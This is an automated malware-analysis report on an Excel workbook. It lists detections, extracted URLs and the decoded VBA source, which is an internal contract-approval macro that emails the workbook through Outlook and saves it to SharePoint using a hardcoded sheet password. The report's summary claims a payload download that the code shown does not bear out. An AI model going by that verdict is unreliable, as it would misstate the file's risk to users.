Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5fb01effa7011d6a…

MALICIOUS

Office (OOXML)

809.0 KB Created: 1996-12-17 01:32:42 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-07
MD5: 0b2bc6284db7603131b08a72607b86e8 SHA-1: e4df4167f8659f120865fbd47a946d0ea2c15c57 SHA-256: 5fb01effa7011d6a575968151b160790a99c5d76f1381695031ea490ed615aff
286 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is an Excel document containing VBA macros, specifically a Workbook_Open macro, which is a common technique for executing malicious code upon opening. The macro attempts to authorize the user based on their username and then modifies document content, likely as part of a social engineering or data manipulation scheme. The presence of embedded OLE objects and external relationships further suggests an attempt to download or execute additional payloads, aligning with spearphishing attachment tactics.

Heuristics 13

  • ClamAV: Xls.Virus.Valyria-10004391-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Valyria-10004391-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in xl/externalLinks/_rels/externalLink3.xml.rels: file:///\\BEAALFS01\data\Td\TRIALS\2006\Pr101_06.xls
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim fil As String
    Set olkapp = CreateObject("outlook.application")
    Set newmail = olkapp.CreateItem(0)
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Dim un As String
    un = LCase(Environ("USERNAME"))
    If un <> Sheet2.Cells(7, 16).Value Then
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • External hyperlinks (1) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 1 external hyperlink — clickable URLs are stored as external relationships. First target: http://www.recycle366.com/
  • Hidden worksheet (veryHidden, hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Payload URL recovered from embedded OLE object (4 URLs) info OOXML_EMBEDDED_OBJECT_URL
    An embedded OLE object (xl/word/ppt embeddings) carries a next-stage download URL in its Ole10Native/Package stream — stored literally (incl. UTF-16) or base64-encoded — which the package-level URL sweep does not see. Surfaced as an IOC; self-validating (only real payload hosts).
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bekaert.com/en/Product%20Catalog/Content/Suppliers.aspx OOXML external relationship
    • https://www.bekaert.com/en/ProductOOXML external relationship
    • http://www.recycle366.com/Document hyperlink
    • http://icm.liteon.com/MSOffice/Excel/XL97/FA/FA300600.xlsOOXML external relationship
    • http://portal.bekaert.com:10307/WINNT/TemporaryOOXML external relationship
    • http://icm.liteon.com/WINDOWS/TEMP/~ME0F0B.XLSOOXML external relationship
    • http://schema.orgOOXML external relationship
    • http://schema.microsoft.comOOXML external relationship
    • https://bekaert.sharepoint.com/sites/CCPDCLC/Contracts/Non-wireOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/sharepoint/v3/contenttype/formsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlOOXML external relationship
    • http://schemas.microsoft.com/office/2006/metadata/contentTypeOOXML external relationship
    • http://schemas.microsoft.com/office/2006/metadata/properties/metaAttributesOOXML external relationship
    • http://schemas.microsoft.com/office/2006/metadata/propertiesOOXML external relationship
    • http://www.w3.org/2001/XMLSchemaOOXML external relationship
    • http://schemas.openxmlformats.org/package/2006/metadata/core-propertiesOOXML external relationship
    • http://www.w3.org/2001/XMLSchema-instanceOOXML external relationship
    • http://purl.org/dc/elements/1.1/OOXML external relationship
    • http://purl.org/dc/terms/OOXML external relationship
    • http://schemas.microsoft.com/office/internal/2005/internalDocumentationOOXML external relationship
    • http://dublincore.org/schemas/xmls/qdc/2003/04/02/dc.xsdOOXML external relationship
    • http://dublincore.org/schemas/xmls/qdc/2003/04/02/dcterms.xsdOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyOOXML external relationship

Extracted artifacts 29

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 29780 bytes
SHA-256: a120a725de4800ad30b0b14827cf835e4de262a56fc47747128bea2ac0fff308
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()

'Dim ss

If Trim(Sheet1.Cells(24, 1).Value) = "" Then
 Sheet1.Cells(24, 1).Value = "Please choose the requestor"
End If

End Sub




Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "PV一键批准"

Sub PV()

    Dim un As String
    un = LCase(Environ("USERNAME"))
    If un <> Sheet2.Cells(7, 16).Value Then
        MsgBox "You are not authorized!!!"
        Exit Sub
    End If
    If MsgBox("Ready to send?", vbYesNo + 48) = vbNo Then
        Exit Sub
    End If
    Sheet1.Unprotect Password:=123456 '解密
    Sheet2.Range("Q7").Value = Sheet2.Range("O7").Value
    Sheet2.Range("R7").Value = "(" & FormatDateTime(Now, 2) & ")"
    Sheet1.Range("C24").Value = Sheet2.Range("Q7").Value & Sheet2.Range("R7").Value
    
    Dim thisFilePath As String, thisFilePath1 As String
    thisFilePath = Sheet2.Cells(2, 35) '保存在W盘的当前年份的文件夹下
    
        
    If Dir(thisFilePath, vbDirectory) = "" Then
        MkDir (thisFilePath) '创建文件夹
    End If
     
        
    thisFilePath1 = Sheet2.Cells(3, 35)
    'thisFilePath1 = "\\cnshgbamcfps01\users$\" & un & "\Documents\E-Approved"
    'If Dir(thisFilePath1, vbDirectory) = "" Then
        'MkDir (thisFilePath1) '本地保存目录不存在则创建
    'End If
    On Error Resume Next '忽略错误
    Dim olkapp As Object
    Dim newmail As Object
    Dim emailadd1 As String, emailadd2 As String
    Dim a&, b&
    Dim fil As String
    Set olkapp = CreateObject("outlook.application")
    Set newmail = olkapp.CreateItem(0)
    emailadd1 = Sheet2.Range("J2").Value + ";" + Sheet2.Range("J3").Value
    a = Sheet2.[K1048576].End(xlUp).Row
    For b = 2 To a
        If Sheet2.Cells(b, 11).Value = "" Then
            Exit For
        End If
        emailadd2 = emailadd2 + Sheet2.Cells(b, 11).Value + ";"
    Next
    
    If Dir(thisFilePath, vbDirectory) = "" Then
       'MsgBox ("未联内网，可以批准，请注意别删‘发件箱’中的邮件！") '未连内网，发邮件
        If Dir(thisFilePath1, vbDirectory) = "" Then
            MkDir (thisFilePath1) '创建文件夹
        End If
           
        'Dim fil As String '删除同名工作簿
        fil = thisFilePath1 & "\" & Sheet2.Cells(13, 21) & Sheet2.Cells(1, 19) & ".xlsm"
        
        If Len(Dir(fil)) > 0 Then
            Kill fil
        End If
        
        ActiveWorkbook.SaveAs fil
        
        Call ExportChart
        Sheet1.Protect DrawingObjects:=True, Contents:=True, Scenarios:=True, Password:=123456
        ActiveWorkbook.Save
        With newmail
            .To = emailadd1
            .CC = emailadd2
            .Subject = "Contract Approval Request" & Sheet2.Cells(1, 19) '主题
            .Importance = olImportanceHigh
            .SentOnBehalfOfName = Body
            '正文
            .HTMLBody = "Dear" & " " & Sheet2.Cells(4, 20) & "," & "<br>" & "<br>" & Sheet2.Cells(1, 15) & "<br>" & "<br>" & "Final approval done on " & Sheet2.Cells(7, 18) & "  by (" & Sheet2.Cells(7, 19) & "),  thank you!" & "<br>" & "<br>" & "<font color=red><b>Offline approval. Please save the file to W drive</b></font>" & "<br>" & "<br>" & " " & "<br>" & "<html> <body>" & "<img   src= 'cid:MyChart.JPG ' > " & "<html> <body>" & "<br>" & "<br>" & "Best regards" & "<br>" & un
              
            .Attachments.Add ThisWorkbook.Path & "/" & ThisWorkbook.Name
            .Attachments.Add ThisWorkbook.Path & "\" & "MyChart.JPG"
            .Display
            .Send
        End With
    Else
        'Application.DisplayAlerts = False '关闭警示对话框
        'Dim fil As String '删除同名工作簿
        fil = Sheet2.Cells(2, 35) & "\" & Sheet2.Cells(13, 21) & Sheet2.Cells(1, 19) & ".xlsm"
        If Len(Dir(fil)) > 0 Then
            Kill fil
        End If
        ActiveWorkbook.SaveAs Sheet2.Cells(2, 35) & "\" & Sheet2.Cells(13, 21) & Sheet2.Cells(1, 19) & ".xlsm"
        'Application.DisplayAlerts = True
            
        Call ExportChart
        Sheet1.Protect DrawingObjects:=True, Contents:=True, Scenarios:=True, Password:=123456
        ActiveWorkbook.Save
        With newmail
            .To = emailadd1
            .CC = emailadd2
            .Subject = "Contract Approval Request" & Sheet2.Cells(1, 19) '主题
            .Importance = olImportanceHigh
            .SentOnBehalfOfName = Body
                '正文
            .HTMLBody = "Dear" & " " & Sheet2.Cells(4, 20) & "," & "<br>" & "<br>" & Sheet2.Cells(1, 15) & "<br>" & "<br>" & "Final approval done on " & Sheet2.Cells(7, 18) & "  by (" & Sheet2.Cells(7, 19) & "),  thank you!" & "<br>" & "<br>" & " " & "<br>" & "<html> <body>" & "<img   src= 'cid:MyChart.JPG ' > " & "<html> <body>" & "<br>" & "<br>" & "Best regards" & "<br>" & un
               
            .Attachments.Add ThisWorkbook.Path & "/" & ThisWorkbook.Name
            .Attachments.Add ThisWorkbook.Path & "\" & "MyChart.JPG"
            .Display
            .Send
        End With
    End If
    
    Kill ThisWorkbook.Path & "\" & "MyChart.JPG"
    
    ActiveWorkbook.Save
    
    
        
    Dim Sharepointpath As String
    Dim Workbookname As String
    Sharepointpath = "https://bekaert.sharepoint.com/sites/CCPDCLC/Contracts/Non-wire rod Contracts/2020_CCPD Contract Approvals/"
    Workbookname = Sharepointpath & ThisWorkbook.Name
    
    
    ThisWorkbook.SaveAs (Workbookname)

    
    
'    Dim SharepointAddress As String
'    Dim LocalAddress As String
'    Dim objNet As Object
'    Dim FS As Object
    
'    ' Where you will enter Sharepoint location path
'    SharepointAddress = "\\bekaert.sharepoint.com@SSL\DavWWWRoot\sites\CCPDCLC\Contracts\Non-wire rod Contracts\2019_CCPD Contract Approvals" & "\"
'     ' Where you will enter the file path, ex: Excel file
'    LocalAddress = ActiveWorkbook.FullName
    
'    Set objNet = CreateObject("WScript.Network")
'    Set FS = CreateObject("Scripting.FileSystemObject")
'    If FS.FileExists(LocalAddress) Then
'    FS.CopyFile LocalAddress, SharepointAddress
'    End If
'    Set objNet = Nothing
'    Set FS = Nothing
        
 
    
    If Dir(thisFilePath, vbDirectory) = "" Then
        MsgBox "Sent! Offline approval. Click“OK” to save on C:\自动审批表"
    Else
        MsgBox "Sent!"
    End If
    
    Application.DisplayAlerts = False '关闭警示对话框
    'ThisWorkbook.Close True
    
    Application.DisplayAlerts = True
    ThisWorkbook.Close
    
   

End Sub

Sub ExportChart()

 Dim MyFileName As String
      Dim MyChart As Shape
      Dim FileName As String
       Sheet1.Range("A1:F27").Select
       Selection.CopyPicture Appearance:=xlScreen, Format:=xlBitmap
       Sheet1.Range("D6").Select
       ActiveSheet.Paste
         For Each MyChart In Sheet1.Shapes
          If MyChart.Type = msoPicture Then
              FileName = ThisWorkbook.Path & "\" & "MyChart.JPG"
              MyChart.Copy
              With Sheet1.ChartObjects.Add(0, 0, MyChart.Width + 30, MyChart.Height + 32).Chart
              .Parent.Select
                  .Paste
                  .Export FileName, "JPG"
               .Parent.Delete
              End With
              MyChart.Delete
            End If
      Next


End Sub


Attribute VB_Name = "PM一键批准"

Sub PM()

    Dim un As String
    Dim emailadd1 As String, emailadd2 As String
    un = LCase(Environ("USERNAME"))
    If un <> Sheet2.Cells(6, 16).Value Then
        MsgBox "You are not authorized!!!"
        Exit Sub
    End If
'    If un = Sheet2.Cells(5, 16).Value Then
'        emailadd2 = Sheet2.Range("D2").Value
'    Else
'        emailadd2 = Sheet2.Range("D3").Value
'    End If
    
    
    
    If MsgBox("Ready to send?", vbYesNo + 48) = vbNo Then
        Exit Sub
    End If
    Sheet1.Unprotect Password:=123456 '解密
    Sheet2.Range("Q6").Value = Sheet2.Range("O6").Value
    Sheet2.Range("R6").Value = "(" & FormatDateTime(Now, 2) & ")"
    Sheet1.Range("B24").Value = Sheet2.Range("Q6").Value & Sheet2.Range("R6").Value
    Dim thisFilePath As String, thisFilePath1 As String
    thisFilePath = Sheet2.Cells(2, 35) '保存在W盘的当前年份的文件夹下
    
    If Dir(thisFilePath, vbDirectory) = "" Then
        MkDir (thisFilePath) '创建文件夹
    End If
         
    thisFilePath1 = Sheet2.Cells(3, 35)
    On Error Resume Next '忽略错误
          
        
    Dim olkapp As Object
    Dim newmail As Object
    
    Dim a&, b&
    Dim fil As String
    Set olkapp = CreateObject("outlook.application")
    Set newmail = olkapp.CreateItem(0)
    If Left(Sheet1.Range("F19").Value, 2) = "02" Or Left(Sheet1.Range("F18").Value, 2) = "01" Or Sheet1.Range("D19").Value = "Yes" Or Left(Sheet1.Range("D18").Value, 2) = "02" Then
        emailadd1 = Sheet2.Range("C2").Value
        emailadd2 = Sheet2.Range("D2").Value
       '保存文件到文件夹
        If Dir(thisFilePath, vbDirectory) = "" Then
            'MsgBox ("未联内网，可以批准，请注意别删‘发件箱’中的邮件！") '未连内网，发邮件
            If Dir(thisFilePath1, vbDirectory) = "" Then
                MkDir (thisFilePath1) '创建文件夹
            End If
            
            
            'Dim fil As String '删除同名工作簿
            fil = thisFilePath1 & "\" & Sheet2.Cells(13, 21) & Sheet2.Cells(1, 19) & ".xlsm"
            If Len(Dir(fil)) > 0 Then
                Kill fil
            End If
            ActiveWorkbook.SaveAs fil
            
            Call ExportChart
            Sheet1.Protect DrawingObjects:=True, Contents:=True, Scenarios:=True, Password:=123456
            ActiveWorkbook.Save
            With newmail
                .To = emailadd1
                .CC = emailadd2
                .Subject = "Contract Approval Request" & Sheet2.Cells(1, 19) '主题
                .Importance = olImportanceHigh
                .SentOnBehalfOfName = Body
                '正文
                .HTMLBody = "Dear" & " " & Sheet2.Cells(7, 20) & "," & "<br>" & "<br>" & Sheet2.Cells(1, 15) & "<br>" & "<br>" & "approved on " & Sheet2.Cells(6, 18) & "  by (" & Sheet2.Cells(6, 19) & "), please further check and approve, thank you!" & "<br>" & "<br>" & "<font color=red><b>Offline approval. Please save the file to W drive</b></font>" & "<br>" & "<br>" & " " & "<br>" & "<html> <body>" & "<img   src= 'cid:MyChart.JPG ' > " & "<html> <body>" & "<br>" & "<br>" & "Best regards" & "<br>" & un
                '.HTMLBody = "Dear" & " " & Sheet2.Cells(7, 20) & "," & "<br>" & "<br>" & Sheet2.Cells(1, 15) & "<br>" & "<br>" & Sheet2.Cells(5, 19) & "已于" & Sheet2.Cells(5, 18) & "已经批准，请帮忙继续批准，谢谢！" & "<br>" & "<br>" & "批准完成情况如下：" & "<br>" & "<html> <body>" & "<img   src= 'cid:MyChart.JPG ' > " & "<html> <body>" & "<br>" & "<br>" & "Best regards " & "<br>" & un
               
                .Attachments.Add ThisWorkbook.Path & "/" & ThisWorkbook.Name
                .Attachments.Add ThisWorkbook.Path & "\" & "MyChart.JPG"
                .Display
                .Send
            End With
            
            Kill ThisWorkbook.Path & "\" & "MyChart.JPG"
            
        Else
            'Dim fil As String '删除同名工作簿
            fil = Sheet2.Cells(2, 35) & "\" & Sheet2.Cells(13, 21) & Sheet2.Cells(1, 19) & ".xlsm"
            If Len(Dir(fil)) > 0 Then
                Kill fil
            End If
            ActiveWorkbook.SaveAs Sheet2.Cells(2, 35) & "\" & Sheet2.Cells(13, 21) & Sheet2.Cells(1, 19) & ".xlsm"
            
            Call ExportChart
            Sheet1.Protect DrawingObjects:=True, Contents:=True, Scenarios:=True, Password:=123456
            ActiveWorkbook.Save
            With newmail
                .To = emailadd1
                .CC = emailadd2
                .Subject = "Contract Approval Request" & Sheet2.Cells(1, 19) '主题
                .Importance = olImportanceHigh
                .SentOnBehalfOfName = Body
                '正文
                .HTMLBody = "Dear" & " " & Sheet2.Cells(7, 20) & "," & "<br>" & "<br>" & Sheet2.Cells(1, 15) & "<br>" & "<br>" & "approved on " & Sheet2.Cells(6, 18) & "  by (" & Sheet2.Cells(6, 19) & "), please further check and approve, thank you!" & "<br>" & "<br>" & " " & "<br>" & "<html> <body>" & "<img   src= 'cid:MyChart.JPG ' > " & "<html> <body>" & "<br>" & "<br>" & "Best regards" & "<br>" & un
                '.HTMLBody = "Dear" & " " & Sheet2.Cells(7, 20) & "," & "<br>" & "<br>" & Sheet2.Cells(1, 15) & "<br>" & "<br>" & Sheet2.Cells(5, 19) & "申请批准，请帮忙批准，谢谢！" & "<br>" & "<br>" & "批准完成情况如下：" & "<br>" & "<html> <body>" & "<img   src= 'cid:MyChart.JPG ' > " & "<html> <body>" & "<br>" & "<br>" & "Best regards " & "<br>" & un

                .Attachments.Add ThisWorkbook.Path & "/" & ThisWorkbook.Name
                .Attachments.Add ThisWorkbook.Path & "\" & "MyChart.JPG"
                .Display
                .Send
            End With
            
            Kill ThisWorkbook.Path & "\" & "MyChart.JPG"
            
        End If
    Else
        emailadd1 = Sheet2.Range("G2").Value
'        If un = Sheet2.Cells(5, 16).Value Then
'            emailadd1 = Sheet2.Range("G3").Value
'        Else
'            emailadd1 = Sheet2.Range("G2").Value
'        End If
    
        a = Sheet2.[H1048576].End(xlUp).Row
        For b = 2 To a
            If Sheet2.Cells(b, 8).Value = "" Then
                Exit For
            End If
            emailadd2 = emailadd2 + Sheet2.Cells(b, 8).Value + ";"
        Next
        
        If Dir(thisFilePath, vbDirectory) = "" Then
            'MsgBox ("未联内网，可以批准，请注意别删‘发件箱’中的邮件！") '未连内网，发邮件
            If Dir(thisFilePath1, vbDirectory) = "" Then
                MkDir (thisFilePath1) '创建文件夹
            End If
            
            
            'Dim fil As String '删除同名工作簿
            fil = thisFilePath1 & "\" & Sheet2.Cells(13, 21) & Sheet2.Cells(1, 19) & ".xlsm"
            If Len(Dir(fil)) > 0 Then
                Kill fil
            End If
            ActiveWorkbook.SaveAs fil
            
            Call ExportChart
            Sheet1.Protect DrawingObjects:=True, Contents:=True, Scenarios:=True, Password:=123456
            ActiveWorkbook.Save
            With newmail
                .To = emailadd1
                .CC = emailadd2
                .Subject = "Contract Approval Request" & Sheet2.Cells(1, 19) '主题
                .Importance = olImportanceHigh
                .SentOnBehalfOfName = Body
                '正文
                .HTMLBody = "Dear" & " " & Sheet2.Cells(4, 20) & "," & "<br>" & "<br>" & Sheet2.Cells(1, 15) & "<br>" & "<br>" & "Final approval done on " & Sheet2.Cells(6, 18) & "  by (" & Sheet2.Cells(6, 19) & "),  thank you!" & "<br>" & "<br>" & "<font color=red><b>Offline approval. Please save the file to W drive</b></font>" & "<br>" & "<br>" & " " & "<br>" & "<html> <body>" & "<img   src= 'cid:MyChart.JPG ' > " & "<html> <body>" & "<br>" & "<br>" & "Best regards" & "<br>" & un
                
                '.HTMLBody = "Dear" & " " & Sheet2.Cells(7, 20) & "," & "<br>" & "<br>" & Sheet2.Cells(1, 15) & "<br>" & "<br>" & Sheet2.Cells(5, 19) & "申请批准，请帮忙批准，谢谢！" & "<br>" & "<br>" & "批准完成情况如下：" & "<br>" & "<html> <body>" & "<img   src= 'cid:MyChart.JPG ' > " & "<html> <body>" & "<br>" & "<br>" & "保存时未连内网，请将附件手动保存至目标文件夹" & "<br>" & "<br>" & "Best regards " & "<br>" & un

                .Attachments.Add ThisWorkbook.Path & "/" & ThisWorkbook.Name
                .Attachments.Add ThisWorkbook.Path & "\" & "MyChart.JPG"
                .Display
                .Send
            End With
            
            Kill ThisWorkbook.Path & "\" & "MyChart.JPG"
            
        Else
            'Dim fil As String '删除同名工作簿
            fil = Sheet2.Cells(2, 35) & "\" & Sheet2.Cells(13, 21) & Sheet2.Cells(1, 19) & ".xlsm"
            If Len(Dir(fil)) > 0 Then
                Kill fil
            End If
            ActiveWorkbook.SaveAs Sheet2.Cells(2, 35) & "\" & Sheet2.Cells(13, 21) & Sheet2.Cells(1, 19) & ".xlsm"
            
            Call ExportChart
            Sheet1.Protect DrawingObjects:=True, Contents:=True, Scenarios:=True, Password:=123456
            ActiveWorkbook.Save
            With newmail
                .To = emailadd1
                .CC = emailadd2
                .Subject = "Contract Approval Request" & Sheet2.Cells(1, 19) '主题
                .Importance = olImportanceHigh
                .SentOnBehalfOfName = Body
                '正文
                .HTMLBody = "Dear" & " " & Sheet2.Cells(4, 20) & "," & "<br>" & "<br>" & Sheet2.Cells(1, 15) & "<br>" & "<br>" & "Final approval done on " & Sheet2.Cells(6, 18) & "  by (" & Sheet2.Cells(6, 19) & "),  thank you!" & "<br>" & "<br>" & " " & "<br>" & "<html> <body>" & "<img   src= 'cid:MyChart.JPG ' > " & "<html> <body>" & "<br>" & "<br>" & "Best regards" & "<br>" & un
                '.HTMLBody = "Dear" & " " & Sheet2.Cells(7, 20) & "," & "<br>" & "<br>" & Sheet2.Cells(1, 15) & "<br>" & "<br>" & Sheet2.Cells(5, 19) & "申请批准，请帮忙批准，谢谢！" & "<br>" & "<br>" & "批准完成情况如下：" & "<br>" & "<html> <body>" & "<img   src= 'cid:MyChart.JPG ' > " & "<html> <body>" & "<br>" & "<br>" & "Best regards " & "<br>" & un

                .Attachments.Add ThisWorkbook.Path & "/" & ThisWorkbook.Name
                .Attachments.Add ThisWorkbook.Path & "\" & "MyChart.JPG"
                .Display
                .Send
            End With
            
            Kill ThisWorkbook.Path & "\" & "MyChart.JPG"
            
        End If
    End If
    
'    Kill ThisWorkbook.path & "\" & "MyChart.JPG"
    
    ActiveWorkbook.Save
    
    
    
    Dim Sharepointpath As String
    Dim Workbookname As String
    Sharepointpath = "https://bekaert.sharepoint.com/sites/CCPDCLC/Contracts/Non-wire rod Contracts/2020_CCPD Contract Approvals/"
    Workbookname = Sharepointpath & ThisWorkbook.Name
    
    
    ThisWorkbook.SaveAs (Workbookname)

    
    
'    Dim SharepointAddress As String
'    Dim LocalAddress As String
'    Dim objNet As Object
'    Dim FS As Object
    
'    ' Where you will enter Sharepoint location path
'    SharepointAddress = "\\bekaert.sharepoint.com@SSL\DavWWWRoot\sites\CCPDCLC\Contracts\Non-wire rod Contracts\2019_CCPD Contract Approvals" & "\"
'     ' Where you will enter the file path, ex: Excel file
'    LocalAddress = ActiveWorkbook.FullName
    
'    Set objNet = CreateObject("WScript.Network")
'    Set FS = CreateObject("Scripting.FileSystemObject")
'    If FS.FileExists(LocalAddress) Then
'    FS.CopyFile LocalAddress, SharepointAddress
'    End If
'    Set objNet = Nothing
'    Set FS = Nothing
        
        
        
    If Dir(thisFilePath, vbDirectory) = "" Then
        MsgBox "Sent! Offline approval. Click“OK” to save on C:\自动审批表"
    Else
        MsgBox "Sent!"
    End If
    
    
    'ThisWorkbook.Close True
    'ActiveWorkbook.Save
     
    ThisWorkbook.Close
    

End Sub



Sub ExportChart()

     Dim MyFileName As String
      Dim MyChart As Shape
      Dim FileName As String
       Sheet1.Range("A1:F27").Select
       Selection.CopyPicture Appearance:=xlScreen, Format:=xlBitmap
       Sheet1.Range("D6").Select
       ActiveSheet.Paste
         For Each MyChart In Sheet1.Shapes
          If MyChart.Type = msoPicture Then
              FileName = ThisWorkbook.Path & "\" & "MyChart.JPG"
              MyChart.Copy
              With Sheet1.ChartObjects.Add(0, 0, MyChart.Width + 30, MyChart.Height + 32).Chart
              .Parent.Select
                  .Paste
                  .Export FileName, "JPG"
               .Parent.Delete
              End With
              MyChart.Delete
            End If
      Next




End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Private Sub Worksheet_Change(ByVal Target As Range)
'
'If Trim(Sheet1.Cells(27, 1).Value) = "" Then
'    Sheet1.Cells(27, 1).Value = "Please choose the requestor"
'
'End If
'
'End Sub


Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet5"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet6"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet7"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet8"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "一键发送"

Sub Send()

    Dim un As String
    un = LCase(Environ("USERNAME"))
    
    If Sheet1.Cells(24, 1) = "Please choose the requestor" Then
        MsgBox "Please select requestor!", 64, "Notice"
        Exit Sub
    End If
    
    If un <> Sheet2.Cells(4, 16).Value Then
        MsgBox "You are not authorized!!!"
        Exit Sub
    End If
    
    If Sheet1.Cells(5, 2) = "" Then
        MsgBox "Cell B5 can not be empty!", 64, "Notice"
        Exit Sub
    End If
    
    If Sheet1.Cells(3, 2) = "" Then
        MsgBox "Cell B3 can not be empty!", 64, "Notice"
        Exit Sub
    End If
    
    If Sheet1.Cells(18, 4) = "" Then
        MsgBox "Cell D18 can not be empty!", 64, "Notice"
        Exit Sub
    End If
    
    If Sheet1.Cells(18, 6) = "" Then
        MsgBox "Cell F18 can not be empty!", 64, "Notice"
        Exit Sub
    End If
    
    If Sheet1.Cells(19, 4) = "" Then
        MsgBox "Cell D19 can not be empty!", 64, "Notice"
        Exit Sub
    End If
    
    If Sheet1.Cells(19, 2) = "" Then
        MsgBox "Cell B19 can not be empty!", 64, "Notice"
        Exit Sub
    End If
    
     If Sheet1.Cells(19, 6) = "" Then
        MsgBox "Cell F19 can not be empty!", 64, "Notice"
        Exit Sub
    End If
    
    If MsgBox("Ready to send?", vbYesNo + 48) = vbNo Then
        Exit Sub
    End If
    
    Sheet2.Range("U13").Value = Sheet2.Range("U14").Value
    Sheet2.Range("Q4").Value = Sheet2.Range("O4").Value
    Sheet2.Range("R4").Value = "(" & FormatDateTime(Now, 1) & ")"
   
    Sheet1.Activate
    Dim fil As String '删除同名工作簿
    fil = "C:\Users\" & Sheet2.Cells(10, 22) & "\Desktop\" & Sheet2.Cells(13, 21) & Sheet2.Cells(1, 19) & ".xlsm"
    If Len(Dir(fil)) > 0 Then
        Kill fil
    End If
   
    ActiveWorkbook.SaveAs "C:\Users\" & Sheet2.Cells(10, 22) & "\Desktop\" & Sheet2.Cells(13, 21) & Sheet2.Cells(1, 19) & ".xlsm"
   
   
    
    
    
    '调取邮箱发送邮件
    Dim olkapp As Object
    Dim newmail As Object
    Dim emailadd1 As String
    Set olkapp = CreateObject("outlook.application")
    Set newmail = olkapp.CreateItem(0)
    
    Dim T As String
    
    
    T = Sheet2.Cells(4, 23).Value '1,2,3,4
    
   
 
    
    
    Dim XX As String
    Dim T2 As String
        XX = Left(Sheet1.Cells(3, 2).Value, 2)
    If XX = "04" Then
        T2 = "2"
    Else
        T2 = Sheet2.Cells(4, 23).Value
    End If
    
    If T <> T2 Then
        MsgBox ("The selected category doesn't match the responsible Category Leader, Please check.")
    Exit Sub
    Else
        emailadd1 = Sheet2.Range("A2").Value
    
    End If
    
    
 
    
   ' emailadd1 = Sheet2.Range("A2").Value
    
    Call ExportChart
    Sheet1.Protect DrawingObjects:=True, Contents:=True, Scenarios:=True, Password:=123456
    ActiveWorkbook.Save
    
    With newmail
        .To = emailadd1
        '.cc =
        .Subject = "Contract Approval Request:" & Sheet2.Cells(1, 19) '主题
        .Importance = olImportanceHigh
        .SentOnBehalfOfName = Body
        '正文
